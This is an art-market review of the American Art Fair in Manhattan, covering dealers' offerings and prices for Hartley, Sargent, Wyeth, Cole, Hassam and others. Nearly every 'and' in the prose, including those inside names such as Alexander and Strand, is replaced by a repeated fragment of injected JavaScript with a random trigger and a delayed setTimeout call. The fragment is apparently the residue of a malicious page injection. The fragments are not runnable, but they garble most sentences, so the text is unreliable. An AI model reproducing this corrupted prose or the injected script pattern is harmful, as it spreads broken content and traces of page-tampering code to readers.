By: Laura Beach, Photos by David S. Smith

NEW YORK CITY — Judging by the number of Marsden Hartley paintings on the floor of the American Art Fair, you would think that works by the Maine Modernist were commonplace. Not so much.

The show, which opened for five days at Manhattan’s Bohemian National Hall with a spruce by-invitation-only preview on Saturday evening, November 15, is, paradoxically, as comprehensive as it is compact. Chalk it up to the caliber of its 17 exhibitors, who as an ensemble dominate the market for blue-chip American paintings dating from roughly the 1860s to the early 1960s.

So, back to the Hartleys andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and why there were so many of them.

“We hung a late Hartley — 1939 — because that is what Carol is speaking about,” said Robert Fishko of Forum Gallery. He was referring to Carol Troyen, the Kristin andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Roger Servison curator emerita of American paintings at Museum of Fine Arts, Boston, whose talk, “From Maine andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Manhattan: Marsden Hartley’s Late Work,” was scheduled for November 18. Other Maine Modernists made an appearance at Forum Gallery, where highlights included the small but voluptuous “Standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}anding Female Nude” by Elie Nadelman, a figure that had belonged to his patron, Helena Rubenstein, who acquired it around 1909 in Paris, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and “Sea andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Boat Fantasy” by John Marin, 1944, oil on canvas.

“Our Marin is pretty spectacular. It’s really a pre-Abstract Expressionist action painting but it is still a characteristic fractured view by the artist,” said Fishko.

Some exhibitors noted the coincidence of the Los Angeles County Museum’s exhibition “Marsden Hartley: The German Paintings 1913–1915,” which closed on November 30.

“We are opening a Hartley exhibition on January 8 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and will show Hartley at the Amory Show in March 2015,” said Tess Schwab, director of Driscoll Babcock Gallery. Hartley mania will culminate in 2017 with an exhibition jointly organized by Metropolitan Museum of Art curator Random() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andall Griffey andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Elizabeth Finch, the Lunder curator for American art at Colby College Museum of Art in Maine. Among other things, the American Art Fair is a wonderful place for hearing all that is afoot in the field.

Hirschl & Adler Galleries andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and James Reinish & Associates captured attention with Hartley’s beefcake male bathers of about 1940, but it was Tom Veilleux who appears to have made the first sale.

“There are Hartleys andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and there are Hartleys. This is the best Maine ‘stitch’ painting I’ve ever seen,” said the Portlandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and, Maine, dealer. Small, intense andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and priced $550,000, the 12½-by-14½-inch oil on board mountain landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andscape “Blue Hills” of 1908–09 went to a new customer for Veilleux, who had the picture out for the first time. Hartley showed the work with Alfred Stieglitz andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and later gave it to fellow artist Robert Laurent, in whose family it descended. Veilleux also wrote up a works by Rockwell Kent, Max Weber andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and William Glackens.

Owned by Thomas Colville andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and managed by Catherine Sweeney Singer, the fair serves to remind collectors, in town for the big paintings auctions, that the top dealers collectively offer quality, quantity andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and range in addition to flexibility andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and discretion.

The bijoux Bohemian Hall makes for an unusual andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and suitably intimate presentation, with exhibitors scattered over three floors. Many visitors start on the fifth floor, a mezzanine with a clear view of the action below, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and work their way down.

As in the past, Connecticut andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and New York dealer Thomas Colville Fine Art occupied half of the mezzanine. Pennsylvania dealer Avery Galleries — which boasted “Quiet Corner,” $450,000, a lush, circa 1905 portrait of contemplation personified by John White Alexandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ander — ascended to the space adjacent to Colville, previously occupied by Alexandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ander Gallery.

Colville, who continues to stock Hudson River School paintings even as he has moved into early Modernist Abstractions, trumpeted the 1878 “Alexandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andria Bay on the St Lawrence River,” George Inness’s cool take on the North Country. The elegiac “Sailing in the Mist” by John Henry Twachtman, an oil on canvas of circa 1895, was another prize. At the far end of Colville’s dateline was the semiabstract “Oil No. 10,” 1946, an exceptional example of the work of Raymond Jonson, a New Mexican Modernist andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and member of Santa Fe’s Transcendental group of painters. The subtle work suggests both New Mexico’s Sangre de Cristo range andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a stylized Native American figure who is perhaps Kokopelli, the humpbacked flute player of legend.

Jonson’s fellow Transcendentalist Emil Bisttram made an appearance at Hirschl & Adler Galleries with his 1930–1937 rendition of the “Ranchos de Taos Church,” $295,000, an iconic image also explored by Georgia O’Keeffe, Gustave Baumann andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Paul Strandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and, among others. 

Priced in the low seven figures, a showstopper at Hirschl & Adler was Thomas Cole’s oil on canvas “An Italian Autumn,” which dates to between 1838 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and 1847. The MFA Boston has a version of this painting from 1844 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the first drawing of the subject, in a Detroit collection, is from the 1830s.

We hope that someone considered making a holiday present of “Royal Palms, Melena, Cuba” by Childe Hassam. The 1895 oil on canvas, also at Hirschl & Adler andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and priced in the mid-six figures, is one of a handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andful of paintings of Cuba by the artist. With its fresh, clear palette andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and swaying palms, it seemed destined for a South Florida collection.

The fair cannot claim to have had a $44.4 million O’Keeffe, the headliner at Sotheby’s November 20 sale, but it did offer blockbusters of its own.

“It’s been in a private collection for a long time,” Ellery Kurtz, director of Godel & Company, said of “Cypresses andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Pines” by John Singer Sargent, a 1909 oil on canvas view of Corfu marked $11 million. First shown with M. Knoedler & Company in London in 1913, the dappled Mediterranean view will be included in a forthcoming volume of the John Singer Sargent catalogue raisonné by Richard Ormond andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Elaine Kilmurray in collaboration with Warren Adelson andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Elizabeth Oustinoff.

Adelson Galleries, meanwhile, featured a group of 13 aquatint etchings in different states from Mary Cassatt’s “The Bath” series of 1890–91, priced $1.2 million for the group. The gallery, which moved to New York’s Crown Building at Fifth Avenue andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and 57th Street in May, recently opened “Andrew Wyeth — Seven Decades,” offering a comprehensive selection of the artist’s work, some of it not seen before.

Auctioned for $420,000 in 1981 for what was then a record price for a living American artist, “Marsh Hawk,” a 1964 tempera on Masonite painting by Andrew Wyeth, made a dramatic reappearance at John H. Surovek Gallery, which priced the piece at $6 million. Classically austere, the wintry view takes as its nominal theme the Wyeth family’s Brandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andywine compound. More modestly priced but equally appealing was Alice Neel’s arresting 1951 portrait of Rudolph Christian, $400,000. A 1923 still life by Maria Oakey Dewing, the subject of a forthcoming catalogue raisonné by Susan Hobbs, was $145,000. “It’s one of only about a dozen still lifes known by the artist,” said the Palm Beach, Fla., dealer.

American still life painting, as noted by another of the show’s guest speakers, Mark D. Mitchell, is the subject of an exhibition at the Philadelphia Museum of Art through January 10.

Two Andrew Wyeth watercolors — “Mr Teel’s Punt” andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and “The Carnival,” both Maine views — joined two Everett Shinn pastels in a selection of fresh-to-the-market works shown by Debra Force Fine Art.

“This is very special,” Meredith Ward said of an Arthur B. Carles still life of 1913, an early example of American Modernism clearly informed by the artist’s time in France. Interestingly, the vase depicted by Carles reappears in “The Italian Pitcher,” a painting by his friend Hugh Breckenridge.

James Reinish was bullish on George Ault, known for his crisp architectural views. The New York dealer’s sales included Ault’s 1940 watercolor on paper “The Harbor of New York,” a striking view of Manhattan from its southern tip looking north. Another choice offering was a gilded still life by Alfred Henry Maurer, who will be honored in an exhibition opening at the Addison Gallery of Art, Phillips Academy, this spring. The show will travel to Crystal Bridges in the fall.

“We did sell our John Koch on opening day andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and replaced it with the Joseph Hirsch,” said Forum Gallery senior associate Jillian Casey.

Sotheby’s 2013 sale of Norman Rockwell’s “Saying Grace” for a record $46 million has produced a bumper crop of illustration art at auction, a trend that has yet to sweep the American Art Fair. An exception was “Christmas Number — Boar’s Head,” a beautifully rendered oil on panel by Maxfield Parrish, an early sale at Menconi + Schoelkopf.

In nearly every gathering, Conner Rosenkranz standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ands out, both for its emphasis on sculpture andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and for its occupation of the transitional decades between mid-Nineteenth Century Neoclassicism andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and early- Twentieth Century Modernism. There were examples of both genres to love.

“She’s beautiful, but still clearly the portrait of a real woman,” Joel Rosenkranz said of “Bacchante,” an 1848 marble bust by the American ex-patriot sculptor Chauncey Bradley Ives.

Conner Rosenkranz sold two later sculptures. One was the 1926 silvered-bronze “Greek Dance,” a small figure by Carl Paul Jennewein that relates to his design for the Philadelphia Museum of Art’s classical pediment. Conner Rosenkranz also parted with the 1977 carved mahogany figure “Mother andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Child” by Elizabeth Catlett. The grandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}anddaughter of slaves, who lived andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and worked in the United States andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Mexico, Catlett took up sculpture at the encouragement of her teacher Grant Wood.

“The crowd has been good andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and people have been responsive,” said New York dealer Debra Force, offering the last word on this always winning presentation.

For additional information, www.theamericanartfair.com or 212-987-5306.